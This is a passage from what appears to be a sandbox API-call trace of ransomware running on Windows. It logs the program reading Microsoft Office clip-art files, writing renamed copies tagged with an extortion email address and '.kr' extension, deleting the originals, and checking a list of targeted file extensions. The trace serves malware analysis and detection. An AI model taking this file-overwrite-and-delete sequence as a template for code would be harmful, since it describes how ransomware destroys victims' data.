dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0193.997] GetLastError () returned 0x0 [0193.997] ReadFile (in: hFile=0x370, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x96c, lpOverlapped=0x0) returned 1 [0193.999] WriteFile (in: hFile=0x53c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x970, lpOverlapped=0x0) returned 1 [0194.000] ReadFile (in: hFile=0x370, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0194.000] WriteFile (in: hFile=0x53c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0194.000] SetEndOfFile (hFile=0x53c) returned 1 [0194.000] CloseHandle (hObject=0x53c) returned 1 [0194.000] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.000] SetEndOfFile (hFile=0x370) returned 1 [0194.003] CloseHandle (hObject=0x370) returned 1 [0194.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 1 [0194.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0194.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0194.425] lstrlenW (lpString=".doc") returned 4 [0194.425] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.425] lstrlenW (lpString=".docx") returned 5 [0194.425] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.425] lstrlenW (lpString=".pdf") returned 4 [0194.425] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.425] lstrlenW (lpString=".xls") returned 4 [0194.426] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.426] lstrlenW (lpString=".xlsx") returned 5 [0194.426] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.426] lstrlenW (lpString=".ppt") returned 4 [0194.426] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0194.426] lstrlenW (lpString=".zip") returned 4 [0194.426] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.426] lstrlenW (lpString=".rar") returned 4 [0194.426] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.426] lstrlenW (lpString=".bz2") returned 4 [0194.426] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.426] lstrlenW (lpString=".7z") returned 3 [0194.426] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0194.426] lstrlenW (lpString=".dbf") returned 4 [0194.426] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0194.426] lstrlenW (lpString=".1cd") returned 4 [0194.426] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0194.426] lstrlenW (lpString=".jpg") returned 4 [0194.426] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0194.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0194.426] lstrlenW (lpString=".doc") returned 4 [0194.426] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.427] lstrlenW (lpString=".docx") returned 5 [0194.427] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.427] lstrlenW (lpString=".pdf") returned 4 [0194.427] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.427] lstrlenW (lpString=".xls") returned 4 [0194.427] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.427] lstrlenW (lpString=".xlsx") returned 5 [0194.427] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.427] lstrlenW (lpString=".ppt") returned 4 [0194.427] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0194.427] lstrlenW (lpString=".zip") returned 4 [0194.427] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.427] lstrlenW (lpString=".rar") returned 4 [0194.427] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.427] lstrlenW (lpString=".bz2") returned 4 [0194.427] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.427] lstrlenW (lpString=".7z") returned 3 [0194.427] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0194.427] lstrlenW (lpString=".dbf") returned 4 [0194.427] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0194.427] lstrlenW (lpString=".1cd") returned 4 [0194.427] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0194.427] lstrlenW (lpString=".jpg") returned 4 [0194.427] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.428] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0194.428] lstrlenW (lpString="FD02068_.WMF") returned 12 [0194.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0194.428] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=2488) returned 1 [0194.428] CloseHandle (hObject=0x410) returned 1 [0194.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x220 [0194.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0194.429] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.429] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0194.430] GetLastError () returned 0x0 [0194.430] ReadFile (in: hFile=0x410, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x9b8, lpOverlapped=0x0) returned 1 [0194.432] WriteFile (in: hFile=0x4d4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x9c0, lpOverlapped=0x0) returned 1 [0194.464] ReadFile (in: hFile=0x410, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0194.464] WriteFile (in: hFile=0x4d4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0194.464] SetEndOfFile (hFile=0x4d4) returned 1 [0194.465] CloseHandle (hObject=0x4d4) returned 1 [0194.465] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.465] SetEndOfFile (hFile=0x410) returned 1 [0194.467] CloseHandle (hObject=0x410) returned 1 [0194.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.468] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 1 [0194.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0194.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0194.469] lstrlenW (lpString=".doc") returned 4 [0194.469] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.469] lstrlenW (lpString=".docx") returned 5 [0194.469] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.469] lstrlenW (lpString=".pdf") returned 4 [0194.469] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.469] lstrlenW (lpString=".xls") returned 4 [0194.469] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.469] lstrlenW (lpString=".xlsx") returned 5 [0194.469] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.470] lstrlenW (lpString=".ppt") returned 4 [0194.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0194.470] lstrlenW (lpString=".zip") returned 4 [0194.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.470] lstrlenW (lpString=".rar") returned 4 [0194.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.470] lstrlenW (lpString=".bz2") returned 4 [0194.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.470] lstrlenW (lpString=".7z") returned 3 [0194.470] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0194.470] lstrlenW (lpString=".dbf") returned 4 [0194.470] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0194.470] lstrlenW (lpString=".1cd") returned 4 [0194.470] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0194.470] lstrlenW (lpString=".jpg") returned 4 [0194.470] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0194.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0194.470] lstrlenW (lpString=".doc") returned 4 [0194.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.470] lstrlenW (lpString=".docx") returned 5 [0194.470] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.470] lstrlenW (lpString=".pdf") returned 4 [0194.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.471] lstrlenW (lpString=".xls") returned 4 [0194.471] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.471] lstrlenW (lpString=".xlsx") returned 5 [0194.471] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.471] lstrlenW (lpString=".ppt") returned 4 [0194.471] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0194.471] lstrlenW (lpString=".zip") returned 4 [0194.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.471] lstrlenW (lpString=".rar") returned 4 [0194.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.471] lstrlenW (lpString=".bz2") returned 4 [0194.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.471] lstrlenW (lpString=".7z") returned 3 [0194.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0194.471] lstrlenW (lpString=".dbf") returned 4 [0194.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0194.471] lstrlenW (lpString=".1cd") returned 4 [0194.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0194.471] lstrlenW (lpString=".jpg") returned 4 [0194.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.472] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0194.472] lstrlenW (lpString="FD02071_.WMF") returned 12 [0194.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0194.472] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=2188) returned 1 [0194.472] CloseHandle (hObject=0x410) returned 1 [0194.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 0x220 [0194.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0194.473] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.473] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0194.474] GetLastError () returned 0x0 [0194.474] ReadFile (in: hFile=0x410, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x88c, lpOverlapped=0x0) returned 1 [0194.476] WriteFile (in: hFile=0x4d4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x890, lpOverlapped=0x0) returned 1 [0194.477] ReadFile (in: hFile=0x410, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0194.477] WriteFile (in: hFile=0x4d4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0194.477] SetEndOfFile (hFile=0x4d4) returned 1 [0194.478] CloseHandle (hObject=0x4d4) returned 1 [0194.478] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.478] SetEndOfFile (hFile=0x410) returned 1 [0194.481] CloseHandle (hObject=0x410) returned 1 [0194.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.482] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 1 [0194.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0194.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0194.483] lstrlenW (lpString=".doc") returned 4 [0194.483] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.483] lstrlenW (lpString=".docx") returned 5 [0194.483] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.483] lstrlenW (lpString=".pdf") returned 4 [0194.483] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.483] lstrlenW (lpString=".xls") returned 4 [0194.483] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.483] lstrlenW (lpString=".xlsx") returned 5 [0194.483] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.483] lstrlenW (lpString=".ppt") returned 4 [0194.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0194.483] lstrlenW (lpString=".zip") returned 4 [0194.484] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.484] lstrlenW (lpString=".rar") returned 4 [0194.484] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.484] lstrlenW (lpString=".bz2") returned 4 [0194.484] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.484] lstrlenW (lpString=".7z") returned 3 [0194.484] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0194.484] lstrlenW (lpString=".dbf") returned 4 [0194.484] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0194.484] lstrlenW (lpString=".1cd") returned 4 [0194.484] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0194.484] lstrlenW (lpString=".jpg") returned 4 [0194.484] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0194.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0194.484] lstrlenW (lpString=".doc") returned 4 [0194.484] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.484] lstrlenW (lpString=".docx") returned 5 [0194.485] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.485] lstrlenW (lpString=".pdf") returned 4 [0194.485] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.485] lstrlenW (lpString=".xls") returned 4 [0194.485] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.485] lstrlenW (lpString=".xlsx") returned 5 [0194.485] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.485] lstrlenW (lpString=".ppt") returned 4 [0194.485] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0194.485] lstrlenW (lpString=".zip") returned 4 [0194.485] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.485] lstrlenW (lpString=".rar") returned 4 [0194.485] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.485] lstrlenW (lpString=".bz2") returned 4 [0194.485] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.485] lstrlenW (lpString=".7z") returned 3 [0194.485] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0194.485] lstrlenW (lpString=".dbf") returned 4 [0194.485] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0194.485] lstrlenW (lpString=".1cd") returned 4 [0194.485] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0194.486] lstrlenW (lpString=".jpg") returned 4 [0194.486] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.486] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0194.486] lstrlenW (lpString="FD02075_.WMF") returned 12 [0194.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0194.487] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=4396) returned 1 [0194.487] CloseHandle (hObject=0x410) returned 1 [0194.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x220 [0194.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0194.487] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.487] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 